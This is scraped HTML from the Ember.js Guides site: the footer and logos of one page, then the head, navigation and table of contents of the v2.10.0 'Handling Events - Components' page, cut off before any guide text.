58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember451872" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Handling Events - Components - Ember Guides</title> <meta name="description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Handling Events - Components - Ember Guides"> <!----> <meta property="og:description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Handling Events - Components - Ember Guides"> <!----> <meta name="twitter:description" content="You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component. For example, imagine we have a template..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember195793" class="es-header ember-view" role="banner"><div id="ember195794" class="ember-view"><div class="container"> <nav id="ember195795" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember195796" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember195797" class="navbar-collapse collapse ember-view"><ul id="ember195798" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember195799" class="dropdown nav-item ember-view"> <a href="#" id="ember195800" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember195802" class="dropdown nav-item ember-view"> <a href="#" id="ember195803" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember195805" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember195806" class="dropdown nav-item ember-view"> <a href="#" id="ember195807" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember195809" class="dropdown nav-item ember-view"> <a href="#" id="ember195810" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember195812" class="nav navbar-nav ember-view"> <form> <div id="ember195813" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember195814" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember195815" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember195816" class="ember-basic-dropdown ember-view"> <div aria-label="v2.10.0" aria-owns="ember-basic-dropdown-content-ember195816" tabindex="0" data-ebd-id="ember195816-trigger" role="button" id="ember195817" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.10 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember195816" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember195821" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember195824" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/getting-started" id="ember195825" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember195826" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195828" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/tutorial" id="ember195829" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember195830" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195832" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/object-model" id="ember195833" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember195834" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195836" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/routing" id="ember195837" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember195838" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195840" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/templates" id="ember195841" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember195842" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195844" class="cp-Panel cp-is-open ember-view"><a href="/v2.10.0/components" id="ember195845" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember195846" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember195847" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/index" id="ember195849" class="ember-view"> Defining a Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.10.0/components/the-component-lifecycle" id="ember195851" class="ember-view"> The Component Lifecycle 